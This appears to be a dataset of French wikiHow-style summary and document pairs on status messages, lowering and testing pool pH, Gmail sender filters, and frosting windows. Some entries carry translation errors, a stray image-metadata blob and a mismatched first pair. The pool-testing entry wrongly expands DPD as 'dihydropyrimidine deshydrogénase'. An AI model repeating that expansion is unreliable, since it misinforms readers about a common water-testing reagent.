summary: Appuyez sur le message de statut. Appuyez sur un statut préexistant pour en faire votre statut actuel. Appuyez sur le statut actuel pour le modifier.

document: Votre message de statut ne peut pas dépasser 139 caractères.

english_section_name: Changing Your Status


summary: Achetez de l’acide chlorhydrique conçu pour les piscines. Lisez attentivement les instructions qu’il y a sur l’étiquette. Prenez les mesures de sécurité appropriées. Déterminez la quantité d’acide à ajouter. Versez l’acide au-dessus de la buse de refoulement de la piscine. Mesurez à nouveau votre pH après 4 heures. Attendez au moins 4 heures après la dernière application d’acide.

document: Il s’agit d’un composé chimique corrosif qui peut être utilisé à plusieurs fins à domicile. Pour être certain que vous avez un produit dont la concentration convient aux piscines, vous devriez en acheter un qui est vendu en tant que produit chimique pour piscine. La plupart des magasins de vente d’articles ménagers et de fournitures pour piscine disposent de l’acide chlorhydrique conçu à cette fin. Vous trouverez des produits dans différentes concentrations et formes. Certains réducteurs de pH contenant de l’acide chlorhydrique sont commercialisés sous forme de solutions liquides préalablement mélangées, mais il en existe d’autres qui sont en granulés. Lisez toutes les instructions de sécurité et veillez à comprendre exactement la façon dont vous devriez utiliser le produit spécifique avant de l’ajouter à la piscine. Certains types d’acide chlorhydrique peuvent être versés directement dans la piscine, tandis que d’autres doivent être dilués dans un seau avec de l’eau avant utilisation. Même l’acide chlorhydrique dilué peut bruler les yeux et la peau. Il peut également irriter le nez, la gorge et les poumons si vous inhalez ses émanations. Avant de manipuler ce composé, vous devriez porter des gants en caoutchouc et des vêtements qui couvrent vos pieds, vos jambes et vos bras. Portez aussi un masque à gaz et des lunettes de protection. Veillez à toujours utiliser l’acide dans un endroit bien aéré.  Si l’acide chlorhydrique pénètre dans vos yeux, vous devriez aussitôt vous laver à l’eau froide et fraiche pendant au moins 15 minutes, puis consulter un médecin. S’il entre en contact avec votre peau, vous devriez la nettoyer à l’eau fraiche et froide pendant au moins 15 minutes, enlever tout habit que le produit aurait pu toucher. Vous devriez obtenir des soins médicaux lorsque vous aurez terminé. Si vous absorbez de l’acide ou respirez son gaz, consultez immédiatement votre médecin. Lisez les instructions qu’il y a sur l’étiquette du produit pour déterminer la quantité d’acide à ajouter en fonction de la taille de la piscine et du niveau de pH actuel de l’eau. Ajoutez environ ¾ de la quantité recommandée pour éviter de trop réduire le pH. Vous avez également la possibilité de calculer la quantité d’acide à ajouter en vous servant d’un calculateur en ligne. Laissez la buse de refoulement en marche et orientez le conduit d’aération vers le bas. Ensuite, versez la quantité d’acide nécessaire lentement et avec précaution directement au-dessus de la buse. Le flux de retour le répandra uniformément dans toute la piscine.  Gardez le récipient près de l’eau pendant que vous versez l’acide afin de le faire éclabousser le moins possible. Empêchez l’acide de tomber sur n’importe quelle partie de la piscine ou d’entrer en contact direct avec ses parois. Vous devriez refaire le test dès que l’acide chlorhydrique aura pris le temps de se répandre. Si le niveau du pH est toujours très élevé, vous devriez répéter la procédure en utilisant la quantité d’acide recommandée pour le nouveau niveau de pH. Avant d’entrer dans la piscine, vous devriez attendre assez longtemps pour que l’acide se répartisse uniformément dans l’eau. Sinon, vous courrez le risque de rencontrer des zones à forte concentration d’acide dans l’eau. Gardez la pompe en marche et les buses actives en attendant que l’acide se disperse dans l’eau.

english_section_name: Using Muriatic Acid to Lower pH

summary: Procurez-vous du bisulfate de sodium pour la piscine. Suivez les instructions qu’il y a sur l’emballage. Déterminez la quantité d’hydrogénosulfate de sodium à ajouter. Prenez des mesures de sécurité. Versez l’acide sec au-dessus des buses de refoulement de la piscine. Attendez quelques heures et mesurez à nouveau le pH de la piscine. Ajoutez un élément qui augmente l’alcalinité, si nécessaire. Attendez au moins 4 heures avant de nager.

document: Il s’agit d’un acide disponible en granulés ou en poudre. Cela offre l’avantage d’être un peu plus sûr et plus doux que l’acide chlorhydrique. L’hydrogénosulfate de sodium conçu pour les piscines est disponible dans la plupart des magasins de vente de fournitures de piscine et d’articles ménagers. Chaque fabricant peut fournir des instructions d’utilisation différentes. Dans certains cas, vous devriez peut-être dissoudre le bisulfate de sodium dans de l’eau avant de l’ajouter à la piscine, tandis que d’autres produits peuvent directement être ajoutés sous forme de poudre. Suivez les instructions du fabricant pour déterminer la quantité appropriée à utiliser en fonction de la taille de la piscine et de votre niveau de pH actuel. Vous devriez peut-être utiliser ¾ de la quantité recommandée afin de ne pas trop réduire le pH. Vous avez également la possibilité de faire usage d’un calculateur en ligne. Le bisulfate de sodium est relativement doux, mais peut toujours provoquer de graves irritations et brulures. Portez des gants et des vêtements qui couvrent votre peau, tels que des pantalons et des chemises à manches longues. Veillez toujours à manipuler ce composé chimique dans des endroits bien aérés. Si vous avez peur que le vent vous envoie les grains d’acide sur le visage, vous pouvez porter des lunettes de protection ou un écran facial.  Si l’hydrogénosulfate de sodium touche votre peau, vous devriez bien vous laver à l’eau et au savon. Consultez votre médecin si vous développez une irritation cutanée qui ne disparait pas après le lavage. Si ce composé entre en contact avec vos yeux, vous devriez les rincer à l’eau froide pendant au moins 15 minutes, puis consulter un médecin. Si vous avalez la poudre, rincez-vous la bouche et buvez au moins un grand verre d’eau. Ensuite, sollicitez aussitôt une assistance médicale. Maintenez la pompe en marche et les buses actives et versez petit à petit l’acide dans l’eau directement au-dessus des buses de refoulement. Veillez à ce que la poudre n’entre pas dans le système de filtration de la piscine. Approchez-vous de l’eau lorsque vous versez le produit et veillez à ce que le vent ne vous renvoie pas la poudre dans le visage. Attendez 4 heures pour que l’acide circule et testez l’eau à nouveau. Le bisulfate de sodium peut également réduire l’alcalinité totale de la piscine. Il est donc important que vous testiez également cela et veilliez à ce qu’elle se situe toujours dans une plage acceptable. Apportez les modifications nécessaires en fonction des résultats du test. Pour mesurer à nouveau les niveaux de pH, vous ne devriez pas attendre plus de 24 heures après avoir ajouté l’acide sec. Si le niveau d’alcalinité totale de la piscine est trop faible après l’ajout de l’hydrogénosulfate de sodium, vous devriez l’augmenter en ajoutant un élément (le sesquicarbonate de sodium ou le bicarbonate de soude) à l’eau. Vous avez la possibilité de vous procurer ces produits dans la plupart des magasins de vente de fournitures de piscine et d’articles ménagers.  Le bicarbonate de soude peut également augmenter l’alcalinité de la piscine, mais pourrait trop élever le niveau de pH. Suivez les instructions du fabricant pour déterminer la quantité de ces produits que vous devriez ajouter en fonction de la taille de la piscine et de son niveau d’alcalinité actuel. Si vous envisagez d’utiliser du bicarbonate de soude pur, vous avez la possibilité de faire usage d’un calculateur pour piscine. Bien que le bisulfate de sodium soit relativement doux, il peut toutefois irriter vos yeux et votre peau. Avant de rentrer dans l’eau, vous devriez attendre suffisamment longtemps pour que l’acide se dissolve et se répande dans la piscine.

english_section_name: Lowering pH with Sodium Bisulfate

summary: Procurez-vous un kit de test DPD (dihydropyrimidine deshydrogénase). Suivez les instructions du kit. Soyez prudent avec les résultats faux ou problématiques. Mesurez l’eau de votre piscine au moins deux fois par semaine.

document: Bien qu’il existe sur le marché plusieurs types de produits pour tester le pH d’une piscine (y compris les papiers de tournesol et les testeurs numériques), mais les kits à base de dihydropyrimidine deshydrogénase font partie des plus précis. Ils sont également moins chers que les kits numériques. Vous pouvez les obtenir dans la plupart des grands magasins et des boutiques de vente d’articles ménagers. Ceux-ci contiennent plusieurs produits chimiques qui changeront de couleur lorsqu’ils sont mélangés avec de l’eau de piscine. Ces substances chimiques vont mesurer différents éléments de l’eau, tels que le pH, l’alcalinité totale, les niveaux de chlore et de brome ainsi que sa dureté.  Ces kits sont disponibles sous différentes formes. Certains utilisent par exemple des réactifs liquides, tandis que d’autres se servent de comprimés solides. Les kits qui viennent sous forme de comprimé et de liquide ont un niveau de précision similaire. Toutefois, ceux qui sont en cachet peuvent être plus faciles à utiliser, car ils ne nécessitent pas des mesures précises des réactifs liquides. Les papiers de tournesol sont plus faciles à utiliser que les kits DPD, mais ces derniers sont plus précis s’ils sont correctement utilisés. Les kits de test numériques n’auront aucun moyen évident de déterminer si les données sont inexactes (par exemple, les couleurs ne correspondent pas au tableau des valeurs incluses), de sorte que leurs résultats peuvent être erronés. Pour utiliser un kit DPD, vous devriez mélanger différents réactifs chimiques avec des échantillons d’eau de la piscine. Ces produits chimiques changeront de couleur lorsqu’ils seront ajoutés à l’eau et vous devrez vérifier le nuancier pour interpréter les résultats.  Lisez attentivement les instructions pour vous assurer d’utiliser le kit et d’interpréter correctement les résultats. Vérifiez que vous utilisez le réactif approprié pour mesurer les niveaux de pH. La plupart des kits utilisent le rouge de phénol à cette fin. La plupart des pH-mètres pour piscines présentent une apparence plus jaune lorsque les niveaux de pH sont bas et plus rouges avec des niveaux élevés. Toutefois, si l’eau de la piscine contient des niveaux très élevés de chlore ou de brome, cela pourrait empiéter sur le test et générer des résultats inhabituels (par exemple, prendre une couleur violette). Si l’eau a un très faible taux d’alcalinité, cela pourrait également donner des résultats incorrects. Vous pouvez minimiser ces problèmes en mesurant les niveaux de chlore, de brome et d’alcalinité totale avant de tester le pH. Les kits de test peuvent également générer des résultats incorrects si les réactifs sont conservés de façon inappropriée (par exemple dans des températures extrêmes ou des zones humides) ou si elles se mélangent en cas de manipulation sans précaution. La plupart des experts en piscine recommandent que vous testiez vos étangs 2 ou 3 fois par semaine, surtout en été, car ils sont utilisés plus fréquemment pendant cette période. Les CDC recommandent de les évaluer deux fois par jour ou même plus fréquemment pendant les périodes où ils sont utilisés quotidiennement ou lorsqu’ils sont utilisés par de nombreuses personnes tout au long de la journée. Vous devriez vérifier le pH de la piscine plus souvent si cela est largement utilisé parce que la composition chimique de l’eau sera affectée par tous ceux qui y entrent (y compris les huiles naturelles provenant du corps et des cheveux des nageurs, les traces de crème solaire et d’autres produits pour les soins corporels ou les saletés qui sont coincées dans la piscine).

english_section_name: Testing Your Pool’s pH

summary: Procurez-vous un système de CO2. Faites appel à un professionnel pour l’installation du système. Sachez quand utiliser ce système.

document: Vous devriez acheter un modèle qui vous permettra de contrôler le niveau de pH en toute sécurité. Le dioxyde de carbone (ou CO2) peut réduire et stabiliser le pH de manière sure et efficace. Il existe plusieurs systèmes de CO2 pour les piscines, dont certains pourront automatiquement analyser le pH et modifier son intensité en conséquence. Vous pouvez vous procurer ces appareils dans des magasins spécialisés dans la vente de fournitures pour piscine et spas.  Certains de ces systèmes sont entièrement automatiques, tandis que d’autres doivent être contrôlés manuellement. Consultez un spécialiste dans un magasin de fournitures de piscine pour savoir le type de système de CO2 qui conviendra le mieux à la vôtre. Ces appareils peuvent être couteux, avec un prix allant de 300 à 10 000 euros. Toutefois, ils pourraient vous faire économiser de l’argent, car ils réduisent le besoin de modifications fréquentes des niveaux de chlore et de pH. Vous feriez mieux de confier cette tâche à un technicien de piscine, à moins que vous ayez beaucoup d’expérience dans l’installation de ces équipements. Vous pouvez consulter un professionnel avant d’acheter le système. Ainsi, vous saurez si cela convient à votre piscine. Vous ne devriez pas faire usage du système de CO2 si l’eau de votre piscine a une forte teneur en minéraux ou une alcalinité totale élevée. Le dioxyde de carbone peut augmenter l’alcalinité totale d’une piscine, il sera donc préférable de ne pas utiliser ces systèmes si l’eau contient déjà une forte capacité de résistance aux changements de pH (c’est-à-dire si le test indique qu’elle a une valeur supérieure à 125 ppm). En outre, le CO2 réduira le pH avec moins d’efficacité si l’eau a une teneur élevée en minéraux. Consultez un technicien de piscine pour savoir si les conditions de l’eau sont appropriées pour un système de CO2.

english_section_name: Installing a CO2 System in Your Pool


summary: Rendez-vous sur Gmail. Cherchez l’adresse email de l’expéditeur. Copiez l’adresse email. Cliquez sur la barre de recherche Gmail. Entrez l’adresse email que vous avez copiée. Passez en revue tous les emails.

document: Ouvrez cette page dans le navigateur web de votre ordinateur. Si vous êtes connecté(e), vous verrez votre boite de réception s’afficher.  Si vous n’êtes pas encore connecté(e) à votre compte Gmail, entrez d’abord votre adresse email et votre mot de passe. Ouvrez un des emails que vous avez reçus de cet expéditeur, placez votre curseur de souris par-dessus son nom dans le coin supérieur gauche de l’email puis notez l’adresse en bas dans la fenêtre déroulante qui apparait. Cliquez et faites glisser votre souris sur toute l’adresse email puis appuyez sur Ctrl+C (sur Windows) ou Commande+C (sur Mac). Il s’agit du champ de texte Rechercher dans les messages au-dessus de la boite de réception. Appuyez soit sur Ctrl+V (si vous utilisez un ordinateur sous Windows) soit sur Commande+V (si vous utilisez un Mac) pour coller l’adresse que vous avez copiée. Ensuite, appuyez sur Entrée pour rechercher dans votre boite de réception les emails envoyés par cette adresse. Vous devez avoir une liste d’emails provenant de l’expéditeur sélectionné.

english_section_name: Viewing All Emails from a Sender

summary: Ouvrez Gmail. Ouvrez le menu déroulant de la barre de recherche. Entrez une adresse email. Cliquez sur Créer un filtre. Cochez la case Appliquer le libellé. Cliquez sur Sélectionner un libellé. Sélectionnez Nouveau libellé. Entrez le nom de votre contact. Cliquez sur Créer. Cochez Appliquer également ce filtre à X conversations correspondantes. Cochez la case Ne pas afficher dans la boite de réception (Archiver). Sélectionnez Créer un filtre.

document: Rendez-vous sur Gmail depuis le navigateur web de votre ordinateur. Vous verrez votre boite de réception s’afficher si vous êtes déjà connecté(e).  Entrez votre adresse email et votre mot de passe si vous n’êtes pas encore connecté(e) à votre compte Gmail. Cliquez sur {"smallUrl":"https:\/\/www.wikihow.com\/images_en\/8\/82\/Android7dropdown.png","bigUrl":"https:\/\/www.wikihow.com\/images_en\/8\/82\/Android7dropdown.png","smallWidth":460,"smallHeight":460,"bigWidth":760,"bigHeight":760,"licensing":"<div class=\"mw-parser-output\"><\/div>"} à l’extrême droite de la barre de recherche au-dessus de la boite de réception pour afficher un menu déroulant. Dans le champ De tout en haut dans le menu déroulant, tapez l’adresse email de la personne dont vous souhaitez trier les emails.   Au fur et à mesure de la saisie, vous devrez voir une liste des adresses email correspondantes apparaitre sous forme de menu déroulant sous le champ De. Vous pouvez cliquer sur l’adresse que vous recherchez pour l’ajouter. Vous pouvez également taper le nom d’une personne dans le champ pour faire apparaitre son adresse email dans le menu déroulant qui s’affiche en dessous. Cette option se trouve en bas à droite du champ déroulant et vous pouvez cliquer dessus pour ouvrir une nouvelle fenêtre. Vous la trouverez au milieu dans la fenêtre. Cette case grise se trouve à droite de l’entête Appliquer un libellé. Cliquez dessus pour ouvrir un menu déroulant. L’option Nouveau libellé se trouve en haut dans le menu déroulant et permet d’ouvrir une nouvelle fenêtre. Tapez le nom de la personne dont vous souhaitez trier les emails dans le champ Entrez un nouveau nom de libellé en haut de la fenêtre. Il s’agit du bouton en bas de la fenêtre. Cliquez dessus pour créer un dossier sous le nom de l’expéditeur. Cette case se trouve en bas à droite de la fenêtre et permet de s’assurer que les précédents emails de votre expéditeur finissent dans le dossier que vous venez de créer. Vous pouvez cocher cette case si vous voulez pour empêcher l’email d’apparaitre dans la boite de réception. Ça signifie que vous le verrez uniquement si vous cliquez sur le nom de votre libellé.  L’email sera toujours visible dans la section Tous les messages. Tous les précédents emails de votre expéditeur (ainsi que les emails à venir) seront ajoutés au dossier ou au libellé portant son nom.  Vous trouverez le libellé dans la colonne de gauche des options de la boite de réception. Il est possible que vous deviez sélectionner cette partie avec votre curseur de souris ou cliquer sur Plus en bas pour l’afficher.

english_section_name: Creating a Label Rule for a Sender


summary: Achetez un rouleau de revêtement en caoutchouc autoadhésif. Lavez la vitre. Mesurez la surface à couvrir. Pelez approximativement 7,5 cm de la pellicule adhésive. Appuyez tout en lissant les moindres plis. Retirez le revêtement en soulevant un coin.

document: Laissez la vitre sécher après l’avoir lavée. Découpez le revêtement en caoutchouc à la bonne taille. Commencez dans le coin supérieur gauche puis appuyez fermement le revêtement contre le verre. Pelez 7,5 cm supplémentaires de la pellicule adhésive puis lissez cette section. Travaillez par petites sections jusqu’à ce que toute la surface ait été couverte. Il ne vous restera alors plus qu’à le décoller entièrement.

english_section_name: Frosting Windows with Shelf Liner

summary: Achetez de laque acrylique transparente ou non teintée. Prenez un pinceau brosse. Laissez sécher. Retirez la laque en utilisant de l’eau et une éponge.

document: Il vous permettra d’appliquer une couche de laque sur la vitre. Appliquez le produit en ligne droite, car les coups de pinceau seront visibles une fois secs. Appliquez une seconde couche quand la première aura séché. Grattez ensuite la surface avec un racloir en plastique ou une vieille carte de crédit en plastique.

english_section_name: Frosting Windows with Acrylic Glaze

summary: Retirez la vitre du cadre. Louez une sableuse. Protégez votre surface de travail. Posez la vitre au centre de la housse de protection. Nettoyez la vitre.

document: Ensuite, lavez-la et attendez qu’elle sèche. Achetez également du sable ou des granulats au magasin de location. Utilisez des housses de protection en toile épaisse pour protéger votre surface de travail et portez des lunettes de protection, des gants de travail et un masque facial. Suivez minutieusement les consignes du fabricant pour graver toute la surface du verre. Retirez les restes de granulats sur la vitre et remettez-la dans son cadre.   La crème de gravure est déconseillée pour les larges surfaces en raison de ses émanations potentiellement toxiques. Le décapage à l’acide est une autre façon de graver le verre, mais il est préférable de le laisser aux professionnels en raison de la nature potentiellement toxique des ingrédients utilisés durant le processus. Le sablage, la gravure et le décapage à l’acide sont des solutions permanentes et irréversibles.

english_section_name: Frosting Windows by Etching

summary: Mesurez la surface de verre à couvrir. Lavez-vous les mains. Placez le rouleau de film sur une surface de travail propre. Mélangez de l’eau et quelques gouttes de liquide vaisselle. Retirez la pellicule de protection et placez le film sur le verre. Vaporisez l’eau savonneuse sur le film électrostatique. Retirez le film en l’humidifiant avec de l’eau savonneuse.

document: Utilisez du savon et de l’eau pour ne pas contaminer le film avec de la crasse ou de l’huile. Tournez la pellicule de protection vers le haut. Dessinez la forme que vous voulez sur cette pellicule en utilisant vos mesures puis découpez le film avec des ciseaux ou un couteau utilitaire. Versez le mélange dans un flacon pulvérisateur et vaporisez toute la surface du verre que vous voulez couvrir. Utilisez vos mains pour appuyer dessus et chasser les bulles d’air en procédant du milieu vers les bords de la fenêtre. Utilisez un racloir ou une carte en plastique (comme une carte de crédit) pour chasser toutes les petites bulles. Le film peut être recollé à la pellicule et conservé pour une utilisation ultérieure.  Si le film ne tient pas sur les coins de la fenêtre, utilisez un sèche-cheveu pour le chauffer jusqu’à ce qu’il soit pliable et gardez-le en place jusqu’à ce qu’il refroidisse à température ambiante et colle à la surface.

english_section_name: Frosting Windows with Static Cling Film